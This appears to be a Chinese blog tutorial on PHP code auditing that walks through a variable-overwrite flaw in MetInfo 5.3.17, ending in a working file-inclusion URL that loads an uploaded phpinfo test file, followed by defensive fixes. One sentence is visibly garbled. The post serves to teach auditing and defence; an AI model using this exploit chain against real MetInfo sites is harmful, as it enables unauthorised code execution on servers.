PHP代码审计 18 实战 MetInfo 变量覆盖漏洞

本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程

PHP 代码审计博客目录

参考文章链接

1. 简介

  1. 变量覆盖漏洞

    变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables()

  2. metinfo

    MetInfo 5.3.17 版本 PC6 下载链接

2. 实战

  1. 用户请求数据处理代码

    C:\wamp\www\metinfo\include\common.inc.php

    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
        foreach($$_request as $_key => $_value) {
    				$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
            $_M['form'][$_key] = daddslashes($_value,0,0,1);
        }
    }
    

    代码中使用 $_request 来获取用户信息

    代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。

    代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数 daddslashes() 对变量值进行处理。

  2. 代码中查找 daddslashes() 函数

    /*POST变量转换*/
    function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
        !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
        if(!MAGIC_QUOTES_GPC || $force) {
            if(is_array($string)) {
                foreach($string as $key => $val) {
                    $string[$key] = daddslashes($val, $force);
                }
            } else {
                $string = addslashes($string);
            }
        }
        if(is_array($string)){
            if($url){
                //$string='';
                foreach($string as $key => $val) {
                    $string[$key] = daddslashes($val, $force);
                }
            }else{
                foreach($string as $key => $val) {
                    $string[$key] = daddslashes($val, $force);
                }
            }
        }
    
        return $string;
    }
    

    可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。

  3. 关于页面

    接着来看/about/页面的信息,查看\about\index.php文件,这里存在两个比较可疑的变量、一个是fmodule变量、另一个是module变量,其中还有require_once()函数,可能存在文件包含漏洞:

    \about\index.php:

    <?php
    $filpy = basename(dirname(__FILE__));
    $fmodule=1;
    require_once '../include/module.php';
    require_once $module;
    ?>
    

    以上代码中的 $module 变量未赋值

    先来输出一下看看 $module 变量的值是什么

    <?php
    $filpy = basename(dirname(__FILE__));
    $fmodule=1;
    require_once '../include/module.php';
    echo $module;
    require_once $module;
    ?>
    

    浏览器执行 http://127.0.0.1/metinfo/about/index.php

    可以看到 $module 的值是 show.php

    浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123456

    $module 的值并没有覆盖掉

    分析 require_once ‘../include/module.php’;

    if(!defined('IN_MET'))require_once 'common.inc.php';
    

    看到包含了 common.inc.php 文件

    也就是说 \about\index.php 文件中的 f m o d u l e / i n c l u d e / m o d u l e . p h p c o m m o n . i n c . p h p _request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖,输出尝试一下:

    <?php
    $filpy = basename(dirname(__FILE__));
    $fmodule=1;
    require_once '../include/module.php';
    echo $module;
    echo $fmodule;
    require_once $module;
    ?>
    

    浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=test

  4. fmodule变量和module变量之间的关系

    因为需要利用到require_once()函数来实现文件包含漏洞的利用,接着找fmodule变量和module变量之间的关系,回到module.php来跟踪module变量,可以看到在最后的判断语句中存在该变量:

    if($fmodule!=7){
        if($mdle==100)$mdle=3;
        if($mdle==101)$mdle=5;
        $module = $modulefname[$mdle][$mdtp];
        if($module==NULL){okinfo('../404.html');exit();}
        if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
            if($fmodule==$mdle){
                $module = $modulefname[$mdle][$mdtp];
            }
            else{
                okinfo('../404.html');exit();
            }
        }
        else{
            if($list){
                okinfo('../404.html');exit();
            }
            else{
                $module = $modulefname[$mdle][$mdtp];
            }
        }
        if($mdle==8){
        if(!$id)$id=$class1;
        $module = '../feedback/index.php';
        }
    }
    ?>
    

    先在结尾输出一下看看能不能进行覆盖:

    .........
    .........
        if($mdle==8){
        if(!$id)$id=$class1;
        $module = '../feedback/index.php';
        }
    }
    echo $module;
    ?>
    

    浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=test

    当fmodule不为7时,不覆盖;fmodule为7时,覆盖:

    浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=7

    即存在变量覆盖漏洞,可以进行文件包含漏洞的利用。

  5. 漏洞利用

    下面就是利用的示例,包含上传的小马文件xiaoma.txt:

    <?php phpinfo();?>
    

    浏览器执行 http://127.0.0.1/metinfo/about/index.php?fmodule=7&module=../upload/xiaoma.txt

  6. 防御方法

    最简单的防御实现就是,直接在\about\index.php中判断module变量的值是否等于“show.php”,若是则包含指定的文件,否则不进行任何操作:

    \about\index.php:

    <?php
    $filpy = basename(dirname(__FILE__));
    $fmodule=1;
    require_once '../include/module.php';
    if ($module=="show.php"){
        require_once $module;
    }
    ?>
    
  7. 这里提一下PHP文件包含漏洞正常的防御方法:

    1、严格判断包含中的参数是否外部可控。

    2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。

    3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。

    4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include(“head.php”)”。

    5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

猜你喜欢

转载自blog.csdn.net/kevinhanser/article/details/81176757
今日推荐